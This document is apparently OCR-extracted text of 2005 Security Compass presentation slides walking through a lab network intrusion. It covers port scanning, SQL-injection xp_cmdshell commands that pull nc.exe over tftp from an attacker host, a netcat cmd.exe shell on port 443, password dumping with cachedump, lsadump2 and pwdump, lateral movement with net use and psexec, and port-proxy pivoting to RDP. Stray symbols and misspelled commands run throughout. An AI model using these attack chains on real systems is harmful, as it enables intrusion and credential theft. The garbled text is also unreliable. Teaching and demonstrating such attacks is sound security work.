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sl -bhpvt
25, 53, 80, 443, 3389, 100- 200
192. 168. 15. 110
( 13 @ !>
4
nsl ookup 9
server 192.168.15.110 “L6*M *: MN
set query=any
fal sesecure. com
securityconpass. com |
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INTERNET DMZ
Attacker i S
192.164.15.110 .
192.168.15.67 operlport 25 Domain Controller
Open Port 53 SecurityCompass Domain
Closed Por 443 101.1.220
10.1.1.210
List of Filtered Port 10.1.1.200
10.1.1.150
http://www falsesecure.com 10.1.1.100
Website 10.1.1.254
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4  -nmap -sS —-P0 -v —oM out put . txt <I|P_Address>

4  -amap -b —i output.txt —o amap_out put.txt
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nc -vvn 192.168.15. 110 80
HEAD / HTTP/ 1.0

<CR><LF>

<CR><LF>

HTTP/ 1.1 302 Object
Server: Mcrosoft-
X- Power ed- By: ASP. N
Content -Length: 121
Content - Type: text/htm
Set - Cooki e:  ASPSESS| ONI
sent 17, rcvd 303: NOTSOCK

TSSTS=EPGJJ| NDHNNKAI OBl LNFBFKP;
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exec naster..xp_cndshell "tftp -i 192.168.15. 67 CET
nc. exe' - -

< -@ #@ # A Q

P Q6. Q6Rs 6+ S 6+#
P # S6+T B*L6*M *: MWN; 4 B

exec master..xp_cndshell "tftp -i 192.168.15.67 CET
tool z. exe c:\tool z. exe' --

< @ @ # A Q P . Q6. Q6RS 6+ S 6+
P# S6+T B*LE*M*: W; 4 U -V U B

exec master..xp_cndshell 'nc -v -1 -p 443 -e
cnd. exe’ - -
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P # S 6+T S 6+®BS 6+BS 6+B S 6+JJHS 6+B S 6+ # B

SecurityLeadership 2005 Securitycompass.com




Securityl eadership 2005

Cann-
So We Ing Porg

; 44,
listep, erWere sy 3n o

ow
CCesz N W
ully ab, S Port
le to ., 'S Op
S| en

O!'E73 F At netogy

Securitycompass.com

" # # &

nc —vvn 192.168.15.110 443

( 3

ipconfig /all [identify ip
addr ess]

VWhoam [identify account nane]

tasklist /svc [services
runni ng]
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Serviceuser [list the services running on the systen
Cachedunp  [dunps cached passwords, patched john]
Lsadunp2 [ dunmps password in the clear of service accounts]

( 3 & #

sc qgc LicenseService
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O& 10.1.1.1-254 [port scanning]
nmap -v -PO -p80, 443, 3889, 53,25 10.1.1.1-254

Nbt stat —a 10. 1. 1. 200
nbtstat —a 10.1.1.254

net view /domain
net view /donai n: securityconpass
nltest /dclist:securityconpass
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Attacker Firgwall
192.164.15.110
192.168.15.67 operlPort 25
Open Port 53
Open Port 80

Closed Port 443

List of Filtered Port

192.168.15.110
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net use \\<IP>\ipc$ “” /u:<Donui nNane>\ <Servi ceUser >
net use \\<IP>\C$

(G & ## #

psexec master cmd.exe OR
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netsh interface portproxy show v4tov4
netsh interface dunp

0 4

netsh interface portproxy add v4tov4 |istenport=443
connect addr ess=10. 1. 1. 254 connect port =3389

#  @*L6*M *: **+JJH
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3 3 &M 443
netsh interface portproxy add /_-EF\

v4atov4 |istenport=443
connect addr ess=10. 1. 1. 254
connect port =3389

Attacker
) / mstsc /v:192.168.15.110:443
fpipe -1 443 —r 3389 10.1.1.254

)y DD

dat api pe 443 3389 10.1.1.254
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Allows Port f43 through

t0 192.168.15.110

192.168.15.110 port 443
to
10.1.1.1 port 3389
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Pwdunp3e \\Il ocal host
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nmkdi r nonkeyshel
cd nonkeyshel

wget http://ww. sharp-i deas

# P
# &

Pyt hon nmonkey_shel | d. py
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